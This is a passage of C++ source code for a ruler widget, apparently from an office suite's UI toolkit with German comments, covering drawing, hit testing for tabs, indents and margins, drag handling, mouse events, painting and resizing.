ImplVDrawRect( nP1, nVirTop, nM1-1, nVirBottom ); //left gray rectangle if ( nM2 < nP2 ) ImplVDrawRect( nM2+1, nVirTop, nP2, nVirBottom ); //right gray rectangle if ( nM2-nM1 > 0 ) { maVirDev.SetFillColor( rStyleSettings.GetWindowColor() ); ImplVDrawRect( nM1, nVirTop, nM2-1, nVirBottom ); //center rectangle } if ( b3DLook ) { maVirDev.SetLineColor( rStyleSettings.GetShadowColor() ); if ( nM1 > nVirLeft ) { ImplVDrawLine( nM1-1, nVirTop, nM1-1, nVirBottom );//right line of the left rectangle ImplVDrawLine( nP1, nVirBottom, nM1-1, nVirBottom );//bottom line of the left rectangle if ( nP1 >= nVirLeft ) { ImplVDrawLine( nP1, nVirTop, nP1, nVirBottom );//left line of the left rectangle ImplVDrawLine( nP1, nVirBottom, nP1+1, nVirBottom );//? } } if ( nM2 < nP2 ) { ImplVDrawLine( nM2+1, nVirBottom, nP2-1, nVirBottom );//bottom line of the right rectangle ImplVDrawLine( nM2+1, nVirTop, nM2+1, nVirBottom );//left line of the right rectangle if ( nP2 <= nVirRight+1 ) ImplVDrawLine( nP2-1, nVirTop, nP2-1, nVirBottom );//right line of the right rectangle } } else { maVirDev.SetLineColor( rStyleSettings.GetWindowTextColor() ); if ( nP1 >= nVirLeft ) ImplVDrawLine( nP1, nVirTop, nP1, nVirBottom+1 ); if ( nM1 > nP1 ) ImplVDrawLine( nM1, nVirTop, nM1, nVirBottom ); if ( nM2 < nP2 ) ImplVDrawLine( nM2, nVirTop, nM2, nVirBottom ); if ( nP2 <= nVirRight+1 ) ImplVDrawLine( nP2, nVirTop, nP2, nVirBottom+1 ); } // Lineal-Beschriftung (nur wenn keine Bemassungspfeile) if ( !mpData->pArrows ) { long nMin = nVirLeft; long nMax = nP2; long nStart = mpData->bTextRTL ? mpData->nMargin2 + nNullVirOff : nNullVirOff; long nCenter = nVirTop+((nVirBottom-nVirTop)/2); // Nicht Schatten uebermalen if ( nP1 > nVirLeft ) nMin++; if ( nP2 < nVirRight ) nMax--; // Draw captions ImplDrawTicks( nMin, nMax, nStart, nCenter ); } // Draw borders if ( mpData->pBorders ) ImplDrawBorders( nVirLeft, nP2, nVirTop, nVirBottom ); // Draw indents if ( mpData->pIndents ) ImplDrawIndents( nVirLeft, nP2, nVirTop-1, nVirBottom+1 ); // Tabs if ( mpData->pTabs ) { ImplDrawTabs( nVirLeft, nP2, nVirTop-1, nVirBottom+1 ); } // Bemassungspfeile if ( mpData->pArrows ) ImplDrawArrows( nVirTop+((nVirBottom-nVirTop)/2) ); // Wir haben formatiert mbFormat = sal_False; } // ----------------------------------------------------------------------- void Ruler::ImplInitExtraField( sal_Bool bUpdate ) { // Extra-Field beruecksichtigen if ( mnWinStyle & WB_EXTRAFIELD ) { maExtraRect.Left() = RULER_OFF; maExtraRect.Top() = RULER_OFF; maExtraRect.Right() = RULER_OFF+mnVirHeight-1; maExtraRect.Bottom() = RULER_OFF+mnVirHeight-1; if(mpData->bTextRTL) { Size aWinSize = GetOutputSizePixel(); if(mnWinStyle & WB_HORZ) maExtraRect.Move(aWinSize.Width() - maExtraRect.GetWidth() - maExtraRect.Left(), 0); else maExtraRect.Move(0, aWinSize.Height() - maExtraRect.GetHeight() - maExtraRect.Top()); mnVirOff = 0; } else mnVirOff = maExtraRect.Right()+1; } else { maExtraRect.SetEmpty(); mnVirOff = 0; } if ( bUpdate ) { mbCalc = sal_True; mbFormat = sal_True; Invalidate(); } } // ----------------------------------------------------------------------- void Ruler::ImplDraw() { if ( mbFormat ) ImplFormat(); if ( IsReallyVisible() ) { // Lineal ueber das VirtualDevice ausgeben Point aOffPos; Size aVirDevSize = maVirDev.GetOutputSizePixel(); // Size aVirDevSize2 = maVirDev.GetOutputSizePixel(); if ( mnWinStyle & WB_HORZ ) { aOffPos.X() = mnVirOff; if(mpData->bTextRTL) aVirDevSize.Width() -= maExtraRect.GetWidth(); // else // aVirDevSize.Width() -= mnVirOff; aOffPos.Y() = RULER_OFF; } else { aOffPos.X() = RULER_OFF; aOffPos.Y() = mnVirOff; // else // aVirDevSize.Height() -= mnVirOff; } DrawOutDev( aOffPos, aVirDevSize, Point(), aVirDevSize, maVirDev ); // Positionslinien neu malen ImplInvertLines( sal_True ); } } // ----------------------------------------------------------------------- void Ruler::ImplDrawExtra( sal_Bool bPaint ) { const StyleSettings& rStyleSettings = GetSettings().GetStyleSettings(); Rectangle aRect = maExtraRect; sal_Bool bEraseRect = sal_False; if ( !(rStyleSettings.GetOptions() & STYLE_OPTION_MONO) ) { aRect.Left() += 2; aRect.Top() += 2; aRect.Right() -= 2; aRect.Bottom() -= 2; } else { aRect.Left() += 1; aRect.Top() += 1; aRect.Right() -= 1; aRect.Bottom() -= 1; } if ( !bPaint && !(mnExtraStyle & RULER_STYLE_HIGHLIGHT) ) { if ( !(rStyleSettings.GetOptions() & STYLE_OPTION_MONO) ) SetFillColor( rStyleSettings.GetFaceColor() ); else SetFillColor( rStyleSettings.GetWindowColor() ); bEraseRect = sal_True; } else { if ( !(rStyleSettings.GetOptions() & STYLE_OPTION_MONO) && (mnExtraStyle & RULER_STYLE_HIGHLIGHT) ) { SetFillColor( rStyleSettings.GetCheckedColor() ); bEraseRect = sal_True; } } if ( bEraseRect ) { SetLineColor(); DrawRect( aRect ); } // Inhalt ausgeben if ( meExtraType == RULER_EXTRA_NULLOFFSET ) { if ( !(rStyleSettings.GetOptions() & STYLE_OPTION_MONO) ) SetLineColor( rStyleSettings.GetButtonTextColor() ); else SetLineColor( rStyleSettings.GetWindowTextColor() ); DrawLine( Point( aRect.Left()+1, aRect.Top()+4 ), Point( aRect.Right()-1, aRect.Top()+4 ) ); DrawLine( Point( aRect.Left()+4, aRect.Top()+1 ), Point( aRect.Left()+4, aRect.Bottom()-1 ) ); } else if ( meExtraType == RULER_EXTRA_TAB ) { sal_uInt16 nTabStyle = mnExtraStyle & RULER_TAB_STYLE; if(mpData->bTextRTL) nTabStyle |= RULER_TAB_RTL; Point aCenter = aRect.Center(); Point aDraw(aCenter); ImplCenterTabPos( aDraw, nTabStyle ); WinBits nWinBits = GetStyle(); if(0 == (nWinBits&WB_HORZ) ) { if(0 != (nWinBits&WB_RIGHT_ALIGNED)) aDraw.Y() = 2 * aCenter.Y() - aDraw.Y(); if(mpData->bTextRTL) { long nTemp = aDraw.X(); aDraw.X() = aDraw.Y(); aDraw.Y() = nTemp; } } ImplDrawTab( this, aDraw, nTabStyle ); } if ( (rStyleSettings.GetOptions() & STYLE_OPTION_MONO) && (mnExtraStyle & RULER_STYLE_HIGHLIGHT) ) Invert( aRect ); } // ----------------------------------------------------------------------- void Ruler::ImplUpdate( sal_Bool bMustCalc ) { // Hier schon Linien loeschen, damit Sie vor dem Neuberechnen schon // geloscht sind, da danach die alten Positionen nicht mehr bestimmt // werden koennen if ( !mbFormat ) ImplInvertLines(); // Flags setzen if ( bMustCalc ) mbCalc = sal_True; mbFormat = sal_True; // Wenn wir am Draggen sind, wird nach dem Drag-Handler automatisch // das Lineal neu upgedatet if ( mbDrag ) return; // Gegebenenfalls Update ausloesen if ( IsReallyVisible() && IsUpdateMode() ) { mnUpdateFlags |= RULER_UPDATE_DRAW; if ( !mnUpdateEvtId ) mnUpdateEvtId = Application::PostUserEvent( LINK( this, Ruler, ImplUpdateHdl ), NULL ); } } // ----------------------------------------------------------------------- sal_Bool Ruler::ImplHitTest( const Point& rPos, ImplRulerHitTest* pHitTest, sal_Bool bRequireStyle, sal_uInt16 nRequiredStyle ) const { sal_uInt16 i; sal_uInt16 nStyle; long nHitBottom; long nX; long nY; long n1; long n2; if ( !mbActive ) return sal_False; // Position ermitteln sal_Bool bIsHori = 0 != (mnWinStyle & WB_HORZ); if ( bIsHori ) { nX = rPos.X(); nY = rPos.Y(); } else { nX = rPos.Y(); nY = rPos.X(); } nHitBottom = mnVirHeight+(RULER_OFF*2); // --> FME 2004-08-05 #i32608# pHitTest->nAryPos = 0; pHitTest->mnDragSize = 0; pHitTest->bSize = sal_False; pHitTest->bSizeBar = sal_False; // <-- // Damit ueberstehende Tabs und Einzuege mit beruecksichtigt werden long nXExtraOff; if ( mpData->pTabs || mpData->pIndents ) nXExtraOff = (mnVirHeight/2) - 4; else nXExtraOff = 0; // Test auf ausserhalb nX -= mnVirOff; long nXTemp = nX; if ( (nX < mpData->nRulVirOff-nXExtraOff) || (nX > mpData->nRulVirOff+mpData->nRulWidth+nXExtraOff) || (nY < 0) || (nY > nHitBottom) ) { pHitTest->nPos = 0; pHitTest->eType = RULER_TYPE_OUTSIDE; return sal_False; } nX -= mpData->nNullVirOff; pHitTest->nPos = nX; pHitTest->eType = RULER_TYPE_DONTKNOW; // Zuerst die Tabs testen Rectangle aRect; if ( mpData->pTabs ) { aRect.Bottom() = nHitBottom; aRect.Top() = aRect.Bottom()-RULER_TAB_HEIGHT-RULER_OFF; for ( i = mpData->nTabs; i; i-- ) { nStyle = mpData->pTabs[i-1].nStyle; if ( !(nStyle & RULER_STYLE_INVISIBLE) ) { nStyle &= RULER_TAB_STYLE; // Default-Tabs werden nur angezeigt if ( nStyle != RULER_TAB_DEFAULT ) { n1 = mpData->pTabs[i-1].nPos; if ( nStyle == RULER_TAB_LEFT ) { aRect.Left() = n1; aRect.Right() = n1+RULER_TAB_WIDTH-1; } else if ( nStyle == RULER_TAB_RIGHT ) { aRect.Right() = n1; aRect.Left() = n1-RULER_TAB_WIDTH-1; } else { aRect.Left() = n1-RULER_TAB_CWIDTH2+1; aRect.Right() = n1-RULER_TAB_CWIDTH2+RULER_TAB_CWIDTH; } if ( aRect.IsInside( Point( nX, nY ) ) ) { pHitTest->eType = RULER_TYPE_TAB; pHitTest->nAryPos = i-1; return sal_True; } } } } } // Dann die Einzuege if ( mpData->pIndents ) { long nIndentHeight = (mnVirHeight/2) - 1; long nIndentWidth2 = nIndentHeight-3; for ( i = mpData->nIndents; i; i-- ) { nStyle = mpData->pIndents[i-1].nStyle; if ( (! bRequireStyle || nStyle == nRequiredStyle) && !(nStyle & RULER_STYLE_INVISIBLE) ) { nStyle &= RULER_INDENT_STYLE; n1 = mpData->pIndents[i-1].nPos; if ( (nStyle == RULER_INDENT_BOTTOM) ^ (!bIsHori) ) { aRect.Left() = n1-nIndentWidth2; aRect.Right() = n1+nIndentWidth2; aRect.Top() = nHitBottom-nIndentHeight-RULER_OFF+1; aRect.Bottom() = nHitBottom; } else { aRect.Left() = n1-nIndentWidth2; aRect.Right() = n1+nIndentWidth2; aRect.Top() = 0; aRect.Bottom() = nIndentHeight+RULER_OFF-1; } if ( aRect.IsInside( Point( nX, nY ) ) ) { pHitTest->eType = RULER_TYPE_INDENT; pHitTest->nAryPos = i-1; return sal_True; } } } } // Jetzt zaehlt nichts mehr, was links oder rechts uebersteht if ( (nXTemp < mpData->nRulVirOff) || (nXTemp > mpData->nRulVirOff+mpData->nRulWidth) ) { pHitTest->nPos = 0; pHitTest->eType = RULER_TYPE_OUTSIDE; return sal_False; } // Danach die Spalten testen int nBorderTolerance = 1; if(pHitTest->bExpandTest) { nBorderTolerance++; } for ( i = mpData->nBorders; i; i-- ) { n1 = mpData->pBorders[i-1].nPos; n2 = n1 + mpData->pBorders[i-1].nWidth; // Spalten werden mit mindestens 3 Pixel breite gezeichnet if ( !mpData->pBorders[i-1].nWidth ) { n1 -= nBorderTolerance; n2 += nBorderTolerance; } if ( (nX >= n1) && (nX <= n2) ) { nStyle = mpData->pBorders[i-1].nStyle; if ( !(nStyle & RULER_STYLE_INVISIBLE) ) { pHitTest->eType = RULER_TYPE_BORDER; pHitTest->nAryPos = i-1; if ( !(nStyle & RULER_BORDER_SIZEABLE) ) { if ( nStyle & RULER_BORDER_MOVEABLE ) { pHitTest->bSizeBar = sal_True; pHitTest->mnDragSize = RULER_DRAGSIZE_MOVE; } } else { long nMOff = RULER_MOUSE_BORDERWIDTH; while ( nMOff*2 >= (n2-n1-RULER_MOUSE_BORDERMOVE) ) { if ( nMOff < 2 ) { nMOff = 0; break; } else nMOff--; } if ( nX <= n1+nMOff ) { pHitTest->bSize = sal_True; pHitTest->mnDragSize = RULER_DRAGSIZE_1; } else if ( nX >= n2-nMOff ) { pHitTest->bSize = sal_True; pHitTest->mnDragSize = RULER_DRAGSIZE_2; } else { if ( nStyle & RULER_BORDER_MOVEABLE ) { pHitTest->bSizeBar = sal_True; pHitTest->mnDragSize = RULER_DRAGSIZE_MOVE; } } } return sal_True; } } } // Und zum Schluss die Raender int nMarginTolerance = pHitTest->bExpandTest ? nBorderTolerance : RULER_MOUSE_MARGINWIDTH; if ( (mpData->nMargin1Style & (RULER_MARGIN_SIZEABLE | RULER_STYLE_INVISIBLE)) == RULER_MARGIN_SIZEABLE ) { n1 = mpData->nMargin1; if ( (nX >= n1 - nMarginTolerance) && (nX <= n1 + nMarginTolerance) ) { pHitTest->eType = RULER_TYPE_MARGIN1; pHitTest->bSize = sal_True; return sal_True; } } if ( (mpData->nMargin2Style & (RULER_MARGIN_SIZEABLE | RULER_STYLE_INVISIBLE)) == RULER_MARGIN_SIZEABLE ) { n1 = mpData->nMargin2; if ( (nX >= n1 - nMarginTolerance) && (nX <= n1 + nMarginTolerance) ) { pHitTest->eType = RULER_TYPE_MARGIN2; pHitTest->bSize = sal_True; return sal_True; } } // Jetzt nocheinmal die Tabs testen, nur mit etwas mehr spielraum if ( mpData->pTabs ) { aRect.Top() = RULER_OFF; aRect.Bottom() = nHitBottom; for ( i = mpData->nTabs; i; i-- ) { nStyle = mpData->pTabs[i-1].nStyle; if ( !(nStyle & RULER_STYLE_INVISIBLE) ) { nStyle &= RULER_TAB_STYLE; // Default-Tabs werden nur angezeigt if ( nStyle != RULER_TAB_DEFAULT ) { n1 = mpData->pTabs[i-1].nPos; if ( nStyle == RULER_TAB_LEFT ) { aRect.Left() = n1; aRect.Right() = n1+RULER_TAB_WIDTH-1; } else if ( nStyle == RULER_TAB_RIGHT ) { aRect.Right() = n1; aRect.Left() = n1-RULER_TAB_WIDTH-1; } else { aRect.Left() = n1-RULER_TAB_CWIDTH2+1; aRect.Right() = n1-RULER_TAB_CWIDTH2+RULER_TAB_CWIDTH; } aRect.Left()--; aRect.Right()++; if ( aRect.IsInside( Point( nX, nY ) ) ) { pHitTest->eType = RULER_TYPE_TAB; pHitTest->nAryPos = i-1; return sal_True; } } } } } return sal_False; } // ----------------------------------------------------------------------- sal_Bool Ruler::ImplDocHitTest( const Point& rPos, RulerType eDragType, ImplRulerHitTest* pHitTest ) const { Point aPos = rPos; sal_Bool bRequiredStyle = sal_False; sal_uInt16 nRequiredStyle = 0; if (eDragType == RULER_TYPE_INDENT) { bRequiredStyle = sal_True; nRequiredStyle = RULER_INDENT_BOTTOM; } if ( mnWinStyle & WB_HORZ ) aPos.X() += mnWinOff; else aPos.Y() += mnWinOff; if ( (eDragType == RULER_TYPE_INDENT) || (eDragType == RULER_TYPE_DONTKNOW) ) { if ( mnWinStyle & WB_HORZ ) aPos.Y() = RULER_OFF+1; else aPos.X() = RULER_OFF+1; // HitTest durchfuehren if ( ImplHitTest( aPos, pHitTest, bRequiredStyle, nRequiredStyle ) ) { if ( (pHitTest->eType == eDragType) || (eDragType == RULER_TYPE_DONTKNOW) ) return sal_True; } } if ( (eDragType == RULER_TYPE_INDENT) || (eDragType == RULER_TYPE_TAB) || (eDragType == RULER_TYPE_DONTKNOW) ) { if ( mnWinStyle & WB_HORZ ) aPos.Y() = mnHeight-RULER_OFF-1; else aPos.X() = mnWidth-RULER_OFF-1; // HitTest durchfuehren if ( ImplHitTest( aPos, pHitTest, bRequiredStyle, nRequiredStyle ) ) { if ( (pHitTest->eType == eDragType) || (eDragType == RULER_TYPE_DONTKNOW) ) return sal_True; } } if ( (eDragType == RULER_TYPE_MARGIN1) || (eDragType == RULER_TYPE_MARGIN2) || (eDragType == RULER_TYPE_BORDER) || (eDragType == RULER_TYPE_DONTKNOW) ) { if ( mnWinStyle & WB_HORZ ) aPos.Y() = RULER_OFF + (mnVirHeight/2); else aPos.X() = RULER_OFF + (mnVirHeight/2); // HitTest durchfuehren if ( ImplHitTest( aPos, pHitTest ) ) { if ( (pHitTest->eType == eDragType) || (eDragType == RULER_TYPE_DONTKNOW) ) return sal_True; } } // Auf DontKnow setzen pHitTest->eType = RULER_TYPE_DONTKNOW; return sal_False; } // ----------------------------------------------------------------------- sal_Bool Ruler::ImplStartDrag( ImplRulerHitTest* pHitTest, sal_uInt16 nModifier ) { // Wenn eine Spalte angeklick wurde, die weder verschiebar noch // in der Groesse aenderbar ist, brauchen wir auch kein Drag ausloesen if ( (pHitTest->eType == RULER_TYPE_BORDER) && !pHitTest->bSize && !pHitTest->bSizeBar ) return sal_False; // Dragdaten setzen meDragType = pHitTest->eType; mnDragPos = pHitTest->nPos; mnDragAryPos = pHitTest->nAryPos; mnDragSize = pHitTest->mnDragSize; mnDragModifier = nModifier; *mpDragData = *mpSaveData; mpData = mpDragData; // Handler rufen if ( StartDrag() ) { // Wenn der Handler das Draggen erlaubt, dann das Draggen // initialisieren ImplInvertLines(); mbDrag = sal_True; mnStartDragPos = mnDragPos; StartTracking(); return sal_True; } else { // Ansonsten muessen wir die Daten zuruecksetzen meDragType = RULER_TYPE_DONTKNOW; mnDragPos = 0; mnDragAryPos = 0; mnDragSize = 0; mnDragModifier = 0; mpData = mpSaveData; } return sal_False; } // ----------------------------------------------------------------------- void Ruler::ImplDrag( const Point& rPos ) { long nX; long nY; long nOutHeight; if ( mnWinStyle & WB_HORZ ) { nX = rPos.X(); nY = rPos.Y(); nOutHeight = mnHeight; } else { nX = rPos.Y(); nY = rPos.X(); nOutHeight = mnWidth; } // X berechnen und einpassen nX -= mnVirOff; if ( nX < mpData->nRulVirOff ) { nX = mpData->nRulVirOff; mnDragScroll = RULER_SCROLL_1; } else if ( nX > mpData->nRulVirOff+mpData->nRulWidth ) { nX = mpData->nRulVirOff+mpData->nRulWidth; mnDragScroll = RULER_SCROLL_2; } nX -= mpData->nNullVirOff; // Wenn oberhalb oder links vom Lineal, dann alte Werte mbDragDelete = sal_False; if ( nY < 0 ) { if ( !mbDragCanceled ) { // Daten wiederherstellen mbDragCanceled = sal_True; ImplRulerData aTempData; aTempData = *mpDragData; *mpDragData = *mpSaveData; mbCalc = sal_True; mbFormat = sal_True; // Handler rufen mnDragPos = mnStartDragPos; Drag(); // Und neu ausgeben (zeitverzoegert) /* mnUpdateFlags |= RULER_UPDATE_DRAW; if ( mnUpdateEvtId ) Application::RemoveUserEvent( mnUpdateEvtId ); mnUpdateEvtId = Application::PostUserEvent( LINK( this, Ruler, ImplUpdateHdl ), NULL ); */ ImplDraw(); // Daten wieder wie vor dem Cancel herstellen *mpDragData = aTempData; } } else { mbDragCanceled = sal_False; // +2, damit nicht so schnell die Tabs geloescht werden if ( nY > nOutHeight+2 ) mbDragDelete = sal_True; mnDragPos = nX; // Handler rufen Drag(); // Und neu ausgeben if ( mbFormat ) ImplDraw(); } mnDragScroll = 0; } // ----------------------------------------------------------------------- void Ruler::ImplEndDrag() { // Werte uebernehmen if ( mbDragCanceled ) *mpDragData = *mpSaveData; else *mpSaveData = *mpDragData; mpData = mpSaveData; mbDrag = sal_False; // Handler rufen EndDrag(); // Drag-Werte zuruecksetzen meDragType = RULER_TYPE_DONTKNOW; mnDragPos = 0; mnDragAryPos = 0; mnDragSize = 0; mbDragCanceled = sal_False; mbDragDelete = sal_False; mnDragModifier = 0; mnDragScroll = 0; mnStartDragPos = 0; // Und neu ausgeben ImplDraw(); } // ----------------------------------------------------------------------- IMPL_LINK( Ruler, ImplUpdateHdl, void*, EMPTYARG ) { mnUpdateEvtId = 0; // Feststellen, was upgedatet werden muss if ( mnUpdateFlags & RULER_UPDATE_DRAW ) { mnUpdateFlags = 0; ImplDraw(); } else if ( mnUpdateFlags & RULER_UPDATE_LINES ) { mnUpdateFlags = 0; ImplInvertLines(); } return 0; } // ----------------------------------------------------------------------- void Ruler::MouseButtonDown( const MouseEvent& rMEvt ) { if ( rMEvt.IsLeft() && !IsTracking() ) { Point aMousePos = rMEvt.GetPosPixel(); sal_uInt16 nMouseClicks = rMEvt.GetClicks(); sal_uInt16 nMouseModifier = rMEvt.GetModifier(); // Gegebenenfalls Lineal updaten (damit mit den richtigen Daten // gearbeitet wird und die Anzeige auch zur Bearbeitung passt) if ( mbFormat ) { ImplDraw(); mnUpdateFlags &= ~RULER_UPDATE_DRAW; } if ( maExtraRect.IsInside( aMousePos ) ) { mnExtraClicks = nMouseClicks; mnExtraModifier = nMouseModifier; ExtraDown(); mnExtraClicks = 0; mnExtraModifier = 0; } else { ImplRulerHitTest aHitTest; if ( nMouseClicks == 1 ) { if ( ImplHitTest( aMousePos, &aHitTest ) ) ImplStartDrag( &aHitTest, nMouseModifier ); else { // Position innerhalb des Lineal-Bereiches if ( aHitTest.eType == RULER_TYPE_DONTKNOW ) { mnDragPos = aHitTest.nPos; Click(); mnDragPos = 0; // Nocheinmal HitTest durchfuehren, da durch den Click // zum Beispiel ein neuer Tab gesetzt werden konnte if ( ImplHitTest( aMousePos, &aHitTest ) ) ImplStartDrag( &aHitTest, nMouseModifier ); } } } else { if ( ImplHitTest( aMousePos, &aHitTest ) ) { mnDragPos = aHitTest.nPos; mnDragAryPos = aHitTest.nAryPos; } meDragType = aHitTest.eType; DoubleClick(); meDragType = RULER_TYPE_DONTKNOW; mnDragPos = 0; mnDragAryPos = 0; } } } } // ----------------------------------------------------------------------- void Ruler::MouseMove( const MouseEvent& rMEvt ) { PointerStyle ePtrStyle = POINTER_ARROW; // Gegebenenfalls Lineal updaten (damit mit den richtigen Daten // gearbeitet wird und die Anzeige auch zur Bearbeitung passt) if ( mbFormat ) { ImplDraw(); mnUpdateFlags &= ~RULER_UPDATE_DRAW; } ImplRulerHitTest aHitTest; if ( ImplHitTest( rMEvt.GetPosPixel(), &aHitTest ) ) { if ( aHitTest.bSize ) { if ( mnWinStyle & WB_HORZ ) ePtrStyle = POINTER_ESIZE; else ePtrStyle = POINTER_SSIZE; } else if ( aHitTest.bSizeBar ) { if ( mnWinStyle & WB_HORZ ) ePtrStyle = POINTER_HSIZEBAR; else ePtrStyle = POINTER_VSIZEBAR; } } SetPointer( Pointer( ePtrStyle ) ); } // ----------------------------------------------------------------------- void Ruler::Tracking( const TrackingEvent& rTEvt ) { if ( rTEvt.IsTrackingEnded() ) { // Bei Abbruch, den alten Status wieder herstellen if ( rTEvt.IsTrackingCanceled() ) { mbDragCanceled = sal_True; mbFormat = sal_True; } ImplEndDrag(); } else ImplDrag( rTEvt.GetMouseEvent().GetPosPixel() ); } // ----------------------------------------------------------------------- void Ruler::Paint( const Rectangle& ) { ImplDraw(); const StyleSettings& rStyleSettings = GetSettings().GetStyleSettings(); // Extra-Field beruecksichtigen if ( mnWinStyle & WB_EXTRAFIELD ) { if ( !(rStyleSettings.GetOptions() & STYLE_OPTION_MONO) ) { SetLineColor( rStyleSettings.GetShadowColor() ); DrawLine( Point( maExtraRect.Left(), maExtraRect.Top() ), Point( maExtraRect.Right()-1, maExtraRect.Top() ) ); DrawLine( Point( maExtraRect.Left(), maExtraRect.Top() ), Point( maExtraRect.Left(), maExtraRect.Bottom()-1 ) ); DrawLine( Point( maExtraRect.Left(), maExtraRect.Bottom()-1 ), Point( maExtraRect.Right()-1, maExtraRect.Bottom()-1 ) ); DrawLine( Point( maExtraRect.Right()-1, maExtraRect.Top() ), Point( maExtraRect.Right()-1, maExtraRect.Bottom()-1 ) ); SetLineColor( rStyleSettings.GetLightColor() ); DrawLine( Point( maExtraRect.Left()+1, maExtraRect.Top()+1 ), Point( maExtraRect.Right()-2, maExtraRect.Top()+1 ) ); DrawLine( Point( maExtraRect.Left()+1, maExtraRect.Top()+1 ), Point( maExtraRect.Left()+1, maExtraRect.Bottom()-2 ) ); DrawLine( Point( maExtraRect.Left(), maExtraRect.Bottom() ), Point( maExtraRect.Right(), maExtraRect.Bottom() ) ); DrawLine( Point( maExtraRect.Right(), maExtraRect.Top() ), Point( maExtraRect.Right(), maExtraRect.Bottom() ) ); } else { SetLineColor( rStyleSettings.GetWindowTextColor() ); SetFillColor( rStyleSettings.GetWindowColor() ); DrawRect( maExtraRect ); } // Imhalt vom Extrafeld ausgeben ImplDrawExtra( sal_True ); } if ( mnWinStyle & WB_BORDER ) { if ( mnWinStyle & WB_HORZ ) { if ( !(rStyleSettings.GetOptions() & STYLE_OPTION_MONO) ) { SetLineColor( rStyleSettings.GetShadowColor() ); DrawLine( Point( mnBorderOff, mnHeight-2 ), Point( mnWidth, mnHeight-2 ) ); if ( mnBorderOff ) { DrawLine( Point( mnBorderOff-1, mnHeight-2 ), Point( mnBorderOff-1, mnHeight-1 ) ); } } SetLineColor( rStyleSettings.GetWindowTextColor() ); DrawLine( Point( mnBorderOff, mnHeight-1 ), Point( mnWidth, mnHeight-1 ) ); } else { if ( !(rStyleSettings.GetOptions() & STYLE_OPTION_MONO) ) { SetLineColor( rStyleSettings.GetShadowColor() ); DrawLine( Point( mnWidth-2, mnBorderOff ), Point( mnWidth-2, mnHeight ) ); if ( mnBorderOff ) { DrawLine( Point( mnWidth-2, mnBorderOff-1 ), Point( mnWidth-1, mnBorderOff-1 ) ); } } SetLineColor( rStyleSettings.GetWindowTextColor() ); DrawLine( Point( mnWidth-1, mnBorderOff ), Point( mnWidth-1, mnHeight ) ); } } } // ----------------------------------------------------------------------- void Ruler::Resize() { Size aWinSize = GetOutputSizePixel(); long nNewHeight; if ( mnWinStyle & WB_HORZ ) { if ( aWinSize.Height() != mnHeight ) nNewHeight = aWinSize.Height(); else nNewHeight = 0; } else { if ( aWinSize.Width() != mnWidth ) nNewHeight = aWinSize.Width(); else nNewHeight = 0; } // Hier schon Linien loeschen sal_Bool bVisible = IsReallyVisible(); if ( bVisible && mpData->nLines ) { ImplInvertLines(); mnUpdateFlags |= RULER_UPDATE_LINES; if ( !mnUpdateEvtId ) mnUpdateEvtId = Application::PostUserEvent( LINK( this, Ruler, ImplUpdateHdl ), NULL ); } mbFormat = sal_True; // Wenn sich die Hoehe bzw. Breite aendert, dann muessen besimmte Werte // neu berechnet werden //extra field should always be updated ImplInitExtraField( mpData->bTextRTL ); if ( nNewHeight ) { mbCalc = sal_True; mnVirHeight = nNewHeight - mnBorderWidth - (RULER_OFF*2); } else { if ( mpData->bAutoPageWidth ) ImplUpdate( sal_True ); else if ( mbAutoWinWidth ) mbCalc = sal_True; } // Wenn Ruler eine Groesse hat, dann Groesse vom VirtualDevice setzen if ( (mnVirWidth > RULER_MIN_SIZE) || ((aWinSize.Width() > RULER_MIN_SIZE) && (aWinSize.Height() > RULER_MIN_SIZE)) ) { if ( mnWinStyle & WB_HORZ ) mnVirWidth = aWinSize.Width()-mnVirOff; else mnVirWidth = aWinSize.Height()-mnVirOff; if ( mnVirWidth < RULER_MIN_SIZE ) mnVirWidth = 0; } // Gegebenenfalls ein Teil vom Rand loeschen, da 3D-Effekt/Trennlinie am // Fensterrand if ( bVisible ) { if ( nNewHeight ) Invalidate(); else if ( mpData->bAutoPageWidth ) { // Nur bei AutoPageWidth haben wir rechts einen 3D-Effekt, // der sich der Fensterbreite anpasst und deshalb neu gezeichnet // werden muss Rectangle aRect; if ( mnWinStyle & WB_HORZ ) { if ( mnWidth < aWinSize.Width() ) aRect.Left() = mnWidth-RULER_RESIZE_OFF; else aRect.Left() = aWinSize.Width()-RULER_RESIZE_OFF; aRect.Right() = aRect.Left()+RULER_RESIZE_OFF; aRect.Top() = RULER_OFF; aRect.Bottom() = RULER_OFF+mnVirHeight; } else { if ( mnHeight < aWinSize.Height() ) aRect.Top() = mnHeight-RULER_RESIZE_OFF; else aRect.Top() = aWinSize.Height()-RULER_RESIZE_OFF; aRect.Bottom() = aRect.Top()+RULER_RESIZE_OFF; aRect.Left() = RULER_OFF; aRect.Right() = RULER_OFF+mnVirHeight; } Invalidate( aRect ); } } // Neue Groesse merken mnWidth = aWinSize.Width(); mnHeight = aWinSize.Height(); } // ----------------------------------------------------------------------- void Ruler::StateChanged( StateChangedType nType ) { Window::StateChanged( nType ); if ( nType == STATE_CHANGE_INITSHOW ) ImplFormat(); else if ( nType == STATE_CHANGE_UPDATEMODE ) { if ( IsReallyVisible() && IsUpdateMode() ) ImplDraw(); } else if ( (nType == STATE_CHANGE_ZOOM) || (nType == STATE_CHANGE_CONTROLFONT) ) { ImplInitSettings( sal_True, sal_False, sal_False ); Invalidate(); } else if ( nType == STATE_CHANGE_CONTROLFOREGROUND ) { ImplInitSettings( sal_False, sal_True, sal_False ); Invalidate(); } else if ( nType == STATE_CHANGE_CONTROLBACKGROUND ) { ImplInitSettings( sal_False, sal_False, sal_True ); Invalidate(); } } // ----------------------------------------------------------------------- void Ruler::DataChanged( const DataChangedEvent& rDCEvt ) { Window::DataChanged( rDCEvt ); if ( (rDCEvt.GetType() == DATACHANGED_FONTS) || (rDCEvt.GetType() == DATACHANGED_DISPLAY) || (rDCEvt.GetType() == DATACHANGED_FONTSUBSTITUTION) || ((rDCEvt.GetType() == DATACHANGED_SETTINGS) && (rDCEvt.GetFlags() & SETTINGS_STYLE)) ) { mbFormat = sal_True; ImplInitSettings( sal_True, sal_True, sal_True ); Invalidate(); } } // ----------------------------------------------------------------------- long Ruler::StartDrag() { if ( maStartDragHdl.IsSet() ) return maStartDragHdl.Call( this ); else return sal_False; } // ----------------------------------------------------------------------- void Ruler::Drag() { maDragHdl.Call( this ); } // ----------------------------------------------------------------------- void Ruler::EndDrag() { maEndDragHdl.Call( this ); } // ----------------------------------------------------------------------- void Ruler::Click() { maClickHdl.Call( this ); } // ----------------------------------------------------------------------- void Ruler::DoubleClick() { maDoubleClickHdl.Call( this ); } // 